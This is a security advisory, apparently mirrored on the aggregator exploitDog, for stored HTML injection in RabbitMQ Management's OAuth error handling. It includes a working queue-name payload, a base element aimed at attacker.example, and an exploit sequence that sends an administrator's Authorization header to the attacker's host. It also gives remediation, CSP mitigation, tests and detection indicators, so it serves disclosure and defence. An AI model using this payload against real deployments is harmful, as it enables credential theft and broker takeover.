Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-6256-27fm-4rgr

Опубликовано: 18 авг. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 4.5

Описание

Stored HTML Injection in RabbitMQ Management OAuth Error Handling

Summary

RabbitMQ Management renders an AMQP authorization-error reason as HTML when the OAuth management UI is enabled. A user who can configure a queue can place an HTML <base> element in the queue name. If a management administrator who can see that queue but lacks AMQP read permission clicks Get Message(s), the queue name is returned in an ACCESS_REFUSED reason and inserted into the page without HTML escaping.

The default Content Security Policy blocks inline script execution in the current source, but it does not define base-uri or connect-src. An injected <base> element can therefore change the document base URL. The next automatic relative management API refresh is sent to an attacker-controlled CORS endpoint with the victim's explicit Authorization header.

The result is theft of a management administrator's Basic or Bearer credential and subsequent control of RabbitMQ through the management API. The demonstrated chain does not provide broker-host code execution or arbitrary file access.

Affected versions

The issue was reproduced against the official rabbitmq:4.2.9-management image. The vulnerable source path is also present in repository commit 3d5bd31 on main.

Other release versions were not tested, so this report does not claim a precise first-affected version.

Requirements to exploit

The following conditions must all hold:

  • The RabbitMQ management plugin is available to the victim
  • The OAuth management UI is enabled
  • The attacker has valid RabbitMQ credentials and configure permission for a vhost
  • The attacker can declare a queue with an attacker-chosen name
  • A management administrator can see that queue but lacks AMQP read permission for it
  • The administrator opens the queue page and clicks Get Message(s)
  • The attacker operates an HTTP endpoint that permits the management origin through CORS
  • Automatic management UI refresh is enabled, which is the default at five seconds

The administrator is the victim.

Default deployment assessment

The OAuth management UI is disabled by default, so a stock RabbitMQ deployment is not immediately exploitable through this path. The management plugin and its HTTP listener must also be enabled and reachable by both users.

Once OAuth management login is enabled, the vulnerable output handling and insufficient CSP directives are defaults. Exploitation still depends on the victim's permission mismatch and UI interaction. These conditions are why the report uses AC:H rather than AC:L.

Technical details

1. An attacker-controlled queue name enters an AMQP authorization error

The management Get Message(s) handler opens a direct AMQP channel and calls basic.get with the queue name supplied by the route:

Reply = basic_gets(Count, Ch, Q, AckMode, Enc, Trunc).

rabbit_access_control:check_resource_access/4 constructs a denial reason containing the resource and username:

Module, "~s access to ~ts refused for user '~ts'", [Permission, rabbit_misc:rs(Resource), Username]

When the victim lacks read permission, with_channel/5 catches the server-initiated ACCESS_REFUSED and forwards the reason unchanged:

exit:{{shutdown, {server_initiated_close, ?ACCESS_REFUSED, Reason}}, _} -> not_authorised(Reason, ReqData, Context)

rabbit_web_dispatch_access_control:halt_response/5 serializes that reason into a 401 JSON response. JSON encoding preserves the HTML metacharacters after the browser parses the JSON string.

2. The OAuth error path skips HTML escaping

For ordinary management API errors, the UI passes the reason through fmt_escape_html. The OAuth-enabled 401/403 branch instead forwards the raw reason:

if ((req.status == 401 || req.status == 403) && oauth.enabled) { initiate_logout(oauth, reason); } else { show_popup('warn', fmt_escape_html(format_error_response(response, reason))); }

initiate_logout calls renderWarningMessageInLoginStatus, which places the raw reason in the warnings array. login_oauth.ejs emits each warning without an escaping helper:

<p class="warning"><%=warnings[i]%> </p>

replace_content then inserts the rendered string through jQuery .html():

function replace_content(id, html) { $("#" + id).html(html); }

This is a stored HTML injection sink.

Despite its name, initiate_logout only renders the OAuth login view at this point. It does not clear the stored credential or stop the automatic refresh timer, leaving the authenticated refresh path active after the injected HTML replaces the page content.

3. The default CSP blocks inline script but permits base retargeting

The current source defines:

{content_security_policy, "script-src 'self'; object-src 'self'"}

This blocks inline event-handler payloads such as <img onerror=...>. It does not restrict <base> elements and does not restrict cross-origin XHR destinations because neither base-uri, connect-src, nor default-src is defined.

The working payload is:

<base href="http://attacker.example/"><b class="updatable">

The <base> element changes document.baseURI. The updatable element preserves the condition required for periodic partial refresh.

4. Automatic refresh sends the victim credential to the attacker

The management UI refresh interval defaults to five seconds. During a partial update, API requests use a relative URL and explicitly attach the stored credential:

req.open(method, 'api' + path, true); var header = authorization_header(); if (header !== null) { req.setRequestHeader('authorization', header); } req.setRequestHeader('x-vhost', current_vhost);

After base retargeting, 'api' + path resolves against the attacker-controlled origin. A permissive CORS preflight response allows the browser to send the request, including the complete Basic or Bearer Authorization header.

Exploit sequence

  1. The attacker authenticates as a non-administrator user with configure permission on a vhost
  2. The attacker declares a queue named <base href="http://attacker.example/"><b class="updatable">
  3. A management administrator opens the queue page
  4. The administrator clicks Get Message(s)
  5. basic.get fails because the administrator lacks read permission
  6. RabbitMQ returns a 401 JSON response whose reason contains the queue name
  7. The OAuth error path renders the reason through login_oauth.ejs and jQuery .html()
  8. The injected <base> changes the document base URL
  9. The default five-second refresh resolves its relative API URL against the attacker origin
  10. The browser performs a CORS preflight and sends the refresh with the administrator's Authorization header
  11. The attacker reuses the credential against the RabbitMQ management API

Impact

A stolen management administrator credential permits the attacker to administer RabbitMQ according to that account's tags and management API authority. An administrator can create users, change permissions, alter policies and runtime parameters, import definitions, and delete broker resources.

The attacker can grant a controlled user access to vhosts and message resources, resulting in:

  • Confidentiality loss through access to queues, exchanges, definitions, users, and broker metadata
  • Integrity loss through message injection, configuration changes, permission changes, and resource modification
  • Availability loss through deletion of queues, exchanges, vhosts, users, or policies

No stock management API route was found that directly executes operating-system commands or reads arbitrary broker-host files. Host RCE is not part of this finding.

CVSS rationale

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H scores 7.1.

  • AV:N: Queue declaration and management interaction occur over network protocols
  • AC:H: Exploitation depends on OAuth UI enablement, a victim administrator who can see but cannot read the queue, and a specific UI action
  • PR:L: The attacker needs valid credentials and queue configure permission but no administrator tag
  • UI:R: A victim administrator must click Get Message(s)
  • S:U: Impact remains within RabbitMQ's security authority
  • C:H: The stolen administrator credential can be used to grant message access and retrieve sensitive broker data
  • I:H: The credential permits broad RabbitMQ configuration and authorization changes
  • A:H: The credential permits destructive management operations against broker resources

Source evidence

  • deps/rabbit/src/rabbit_access_control.erl:338-372 constructs the resource-access denial reason
  • deps/rabbitmq_management/src/rabbit_mgmt_util.erl:1023-1063 forwards the AMQP ACCESS_REFUSED reason to the HTTP response
  • deps/rabbitmq_web_dispatch/src/rabbit_web_dispatch_access_control.erl:308-320 serializes the reason into 401 JSON
  • deps/rabbitmq_management/priv/www/js/main.js:1578-1622 sends the raw OAuth authorization reason to the login renderer
  • deps/rabbitmq_management/priv/www/js/main.js:62-88 places the raw reason in the warnings array
  • deps/rabbitmq_management/priv/www/js/tmpl/login_oauth.ejs:5-9 emits warnings without an HTML-escaping helper
  • deps/rabbitmq_management/priv/www/js/main.js:1423-1424 inserts rendered content through jQuery .html()
  • deps/rabbitmq_management/priv/www/js/main.js:372-418 configures the default five-second refresh
  • deps/rabbitmq_management/priv/www/js/main.js:488-512 performs partial refresh when an updatable element exists
  • deps/rabbitmq_management/priv/www/js/main.js:1467-1497 opens relative API URLs and attaches authorization headers
  • deps/rabbitmq_management/priv/www/js/prefs.js:31-73 stores and reconstructs Basic or Bearer credentials
  • deps/rabbitmq_management/Makefile:15 defines the default CSP without base-uri or connect-src

Recommended remediation

Primary fix

HTML-escape every warning at the template sink:

<p class="warning"><%=fmt_escape_html(warnings[i])%> </p>

Sink-level escaping protects every current and future producer of warnings.

Defense in depth

Strengthen the default management CSP:

script-src 'self'; object-src 'self'; base-uri 'none'; connect-src 'self' https://idp.example

base-uri 'none' blocks injected base elements. connect-src should permit the management origin and every configured OAuth provider, metadata, and token endpoint origin while rejecting arbitrary destinations. A strict connect-src 'self' policy can break OAuth flows that contact an external identity provider.

Both changes should be applied. CSP should not replace output encoding.

Regression tests

Add browser or DOM tests that verify:

  • OAuth 401 reasons containing <, >, ", ', and & render as text
  • A reason containing <base href="https://example.invalid/"> does not change document.baseURI
  • The default CSP contains base-uri 'none' and connect-src 'self'
  • The non-OAuth and OAuth error paths apply equivalent output encoding

Mitigation

Until a patch is available, operators can prevent the demonstrated chain by configuring:

management.csp.policy = script-src 'self'; object-src 'self'; base-uri 'none'

Operators can additionally configure connect-src with an allowlist containing every required OAuth endpoint origin. Other mitigations include disabling the OAuth management UI when it is not required and avoiding use of highly privileged management sessions for routine queue inspection. Granting additional queue read permission merely to avoid the error path is not recommended.

Detection

Potential indicators include:

  • Queue or exchange names containing HTML delimiters or tags such as <base
  • Management API 401 responses from queue get operations followed by cross-origin browser requests
  • Unexpected CORS preflights carrying requested headers authorization and x-vhost
  • Administrator API activity from a new source shortly after a queue inspection failure

Acknowledgement

Aisle Research

Coordination and disclosure

Upstream has not been notified as part of this work. Private coordination and a short embargo are recommended because the issue exposes reusable administrator credentials and no patch is currently available.

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 3.13.0, < 3.13.19

3.13.19

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.0.0, < 4.0.24

4.0.24

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.1.0, < 4.1.15

4.1.15

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.10

4.2.10

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.5

4.3.5

4.5 Medium

CVSS4

4.5 Medium

CVSS4